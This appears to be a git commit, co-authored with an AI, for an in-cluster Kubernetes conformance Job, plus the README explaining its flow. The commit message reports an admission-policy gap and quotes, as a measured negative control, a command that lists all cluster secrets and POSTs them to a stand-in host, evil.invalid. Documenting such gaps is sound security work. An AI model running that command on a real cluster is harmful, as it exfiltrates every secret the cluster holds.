jakman85andClaude Opus 5
d3d5f6d8d2
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
68 lines
4.4 KiB
Markdown
68 lines
4.4 KiB
Markdown
# In-cluster conformance Job (L2/L3)
|
|
|
|
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
|
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
|
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
|
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
|
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
|
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
|
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
|
> coverage hole, not a phase.
|
|
>
|
|
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
|
> documentation rather than measurement, and `main` was unprotected with zero runners
|
|
> registered the whole time. **Query the live API before asserting platform state.**
|
|
|
|
|
|
Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
|
|
cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
|
|
on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
|
|
credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
|
|
|
## Files
|
|
- `rbac.yaml` — the `conformance` namespace, the `conformance-runner` ServiceAccount, and
|
|
a **least-privilege ClusterRole skeleton**. Rules start **empty** and are added — each
|
|
commented with the test/requirement that needs it — only as the matching fault-injection
|
|
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
|
audit item.
|
|
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
|
|
run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the
|
|
commit under test; artifacts leave over stdout. Its header is the authority on the
|
|
substitution tokens, the admission constraints it satisfies, and **an open security gap
|
|
in the admission policy that it documents and does not exploit** — read it before
|
|
editing either file.
|
|
|
|
## Flow
|
|
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
|
|
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
|
|
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
|
|
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
|
|
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
|
|
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
|
|
3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit
|
|
if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD`
|
|
equals the requested SHA** — the suite runs at the commit under test or not at all. The
|
|
read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret
|
|
`conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows
|
|
no volume but `workspace` and `results`.
|
|
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
|
|
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
|
|
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
|
|
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
|
|
decodes it from `kubectl logs` and must make all five completeness checks listed above
|
|
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
|
|
of decoding to plausible garbage.
|
|
|
|
## Operator prerequisites (out of GitOps — neither exists yet)
|
|
- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and
|
|
`token`: a **read-only** Gitea token for this repository. Never a write token or a
|
|
push-capable deploy key.
|
|
- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the
|
|
trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and
|
|
a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin.
|
|
|
|
## Phase 0
|
|
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
|
from Phase 1+ and first exercised when L2/L3 can run (T-3.0 onward). In Phase 0 the same
|
|
`run.sh` runs in CI's no-cluster stage and emits a **skipped** JUnit + the coverage report.
|